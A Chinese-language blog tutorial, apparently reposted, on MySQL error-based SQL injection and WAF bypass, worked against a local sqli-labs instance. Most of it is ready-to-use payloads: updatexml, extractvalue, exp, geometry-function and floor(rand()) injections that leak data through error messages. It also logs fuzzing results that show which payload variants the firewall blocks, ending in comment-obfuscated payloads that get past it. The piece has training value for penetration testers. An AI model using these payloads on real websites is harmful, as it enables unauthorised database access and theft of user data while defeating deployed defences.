bypasswaf 之报错注入

0x00前言前面讲到了bypass联合查询和盲注,那么这章节就来个报错注入。0x01报错注入与函数此方法是在页面没有显示位,但是echomysql_error();函数输出了错误信息的时

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

0x00 前言

前面讲到了bypass 联合查询和盲注,那么这章节就来个报错注入。

0x01 报错注入与函数

此方法是在页面没有显示位,但是echo mysql_error();函数输出了错误信息的时候方能使用。优点是注入速度快,缺点是语句较为复杂,而且只能用limit依次进行猜解。总体来说,报错注入其实是一种公式化的注入方法,主要用于在页面中没有显示位,但是用echo mysql_error();输出了错误信息时使用。

在联合查询查询能爆出数据是因为在页面有显示位,而盲注只能靠页面返回正常或者错误,这样的方式比较慢,那么这时候如果有报错,可以直接通过mysql的报错语句让他爆出数据。

1.updatexml()

updatexml() 是更新xml文档的函数
语法:update(目标xml文档,xml路径,更新内容) 第二个参数xml路径是可以操作的地方,xml文档中查找字符串位置是用/xx/xx…这种格式,如果写入其他格式就会报错。

select * from users where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

 

bypasswaf 之报错注入

 

 

 

2.extractvalue()

select * from users where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

bypasswaf 之报错注入

 

 

 语法:extractvalue(目标xml文档,xml路径)

 

第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

3.exp()

select * from users where id=1 and exp(~(select * from(select user())a));
exp()以e为底的指数函数,但是如果传递的数太大了,当大于709时,

exp()就会因为重复而报错。 将0按位取反就会得到“ 18446744073709551615”,

再加上函数成功执行后返回0,我们将成功执行的函数取反就会得到最大的无符号的bigint值。

 通过子查询与按位求反,造成一个双倍的溢出错误,可能就可以注出数据。 

4.geometrycollection()

select * from users where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()

select * from users where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()

select * from users where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()

select * from users where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()

select * from users where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()

select * from users where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.floor

select * from users where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

 

floor(x) 函数,向下取整,返回一个不大于x的值
round(x,d) 函数,根据四舍五入保留指定的小数位数,x指要处理的数,d是指保留几位小数。
rand() 函数,产生一个0-1之间的随机浮点数,若有参数x,则返回一个x对应的固定的值

 

 0x02 bypass盲注

http://192.168.31.17/sqli-labs/Less-1/?id=1 ' and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+

 

bypasswaf 之报错注入

 

 

 

那么我们先来fuzz一下拦截的参数

and 不拦截 
and updatexml        不拦截
and updatexml()      不拦截
and updatexml(1,1,1) 拦截
and updatexml(1,,1)  不拦截
and updatexml(1,1,1 不拦截

那么现在却确定他拦截的是 完整的 and updatexml (1,2,3)  那么我们可以从他的括号做手脚

 and updatexml(1,1,1/*!)*/   不拦截

bypasswaf 之报错注入

 

 

 成功绕过,那么我们现在来查询user(),查询用户名。

' and updatexml(1,(select user()),1/*!)*/--+

输入select拦截了还得继续fuzz

and updatexml(1,(),1/*!)*/               不拦截
and updatexml(
1,(select ),1/*!)*/ 不拦截 and updatexml(1,(select user ),1/*!)*/ 不拦截 and updatexml(1,(select user() ),1/*!)*/ 拦截

那么他拦截的肯定是user和括号拼接起来的函数

 

bypasswaf 之报错注入

 

 

 继续fuzz

and updatexml(1,(select user/**/() ),1/*!)*/   拦截
and updatexml(1,(select user+() ),1/*!)*/      拦截
and updatexml(1,(select user--+%0a() ),1/*!)*/  拦截
and updatexml(1,(select user--+/*hex(0)*/%0a() ),1/*!)*/  拦截
and updatexml(1,(select user--+/*!hex(0)*/%0a() ),1/*!)*/  不拦截 
试试另一种方法
and updatexml(1,(select user(/**/) ),1/*!)*/ 拦截
and updatexml(1,(select user(/*!/**/*/) ),1/*!)*/ 绕过

bypasswaf 之报错注入

 

 

 这里因为没有加concat 等字符拼接函数,所以显示会有问题,这里来添加试试

http://192.168.31.17/sqli-labs/Less-1/?id=1 ' and updatexml(1,concat(0x7e,(select user--+hex(0)%0a()),0x7e),1/*!)*/--+

 

 

bypasswaf 之报错注入

 

 

 这里被拦截 那么肯定就是concat这个函数。

继续fuzz

and updatexml(1,concat,1/*!)*/  不拦截
and updatexml(1,concat(),1/*!)*/  不拦截
and updatexml(1,concat(0x7e),1/*!)*/  不拦截且回显~号
and updatexml(1,concat(1,),1/*!)*/   不拦截
and updatexml(1,concat(1,,),1/*!)*/  拦截
and updatexml(1,concat(0x7e/*!,*/ (select 1)/*!,*/0x7e),1/*!)*/  不拦截  回显1

这里concat()和concat(0x7e,)不拦截 加多个都好就拦截了 ,那么他肯定过滤了,这里用/*!*/来绕过

bypasswaf 之报错注入

 

 现在我们已经回显出1来了 就可以来用user()函数来查询一下

http://192.168.31.17/sqli-labs/Less-1/?id=1 ' and updatexml(1,concat(0x7e/*!,*/ (select user--+hex(0)%0a())/*!,*/0x7e),1/*!)*/--+

 

bypasswaf 之报错注入

 

 查询成功  成功绕过waf后面的一些暴库,爆表也是一样的方法思路。

0x03   结尾

啥也不说插个表情包

bypasswaf 之报错注入

 

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/119975.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • javascript邮箱正则表达式_email正则表达式

    javascript邮箱正则表达式_email正则表达式”^\s*\w+(?:\.{0,1}[\w-]+)@[a-zA-Z0-9]+(?:[-.][a-zA-Z0-9]+)\.[a-zA-Z]+\s*$”这个是一个企业级的程序里copy出来的。合法E-mail地址:必须包含一个并且只有一个符号“@”不允许出现“@.”或者.@允许“@”前的字符中出现“+”不允许“+”在最前面,或者“+@”正则表达式如下:^(\w+((-\w+)|(.\w+)))+\w+…

    2022年9月24日
    0
  • php表单加入Token防止重复提交的方法分析

    php表单加入Token防止重复提交的方法分析

    2021年10月18日
    35
  • OA工作流的定义

    OA工作流的定义OA工作流就是建立于网络办公自动化基础上的事务行政审批,业务申请审批、公文、信息等的网上流转。OA工作流类别.OA工作流软件从不同的角度,有许多不同的分类方法,比如依据底层技术分类、依据任务传递机制分类、根据所实现的业务过程等,我们从用户角度出发,由于用户购买软件其最根本的出发点是改善管理转载于:https://www.cnblogs.com/jiang–nan/p/8664959.html…

    2022年6月23日
    29
  • unity3d c# 产生真正的随机数

    unity3d c# 产生真正的随机数

    2022年1月4日
    54
  • python下载安装教程[通俗易懂]

    python下载安装教程[通俗易懂]python3.7.3下载步骤第一步:进入Python官网[https://www.python.org/](https://www.python.org/)第二步:点击downloads进入下载界面选择你想要的下载的版本。这里我选择的是Python3.7.3第三步:新建一个标签,输入网址:[https://python123.io/download](https://python123.io/d…

    2022年6月14日
    34
  • 签名设计一笔签步骤「建议收藏」

    签名设计一笔签步骤「建议收藏」首语:签名设计一笔签步骤,很多人都不会写艺术签名,其实,作为一个普通人,不会写是正常的,因为会设计的都是下过功夫的,今天就来给大家分享【签名设计一笔签步骤】,希望大家能够喜欢!签名设计一笔签步骤其实每个名字的签名步骤都是不一样的,特别是不一样的字都是有自己独特的写法的,所以,很难给大家都讲解了的,不过没关系,我找几个典型的来给大家设计做下示范,大家慢慢学习就行了。目录:1、设计签名工具的选择2、签名设计应该掌握的技巧方法3、视频演示4、具体的操作步骤5、注意事项正文:1、设计签名工具的

    2022年9月6日
    2

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号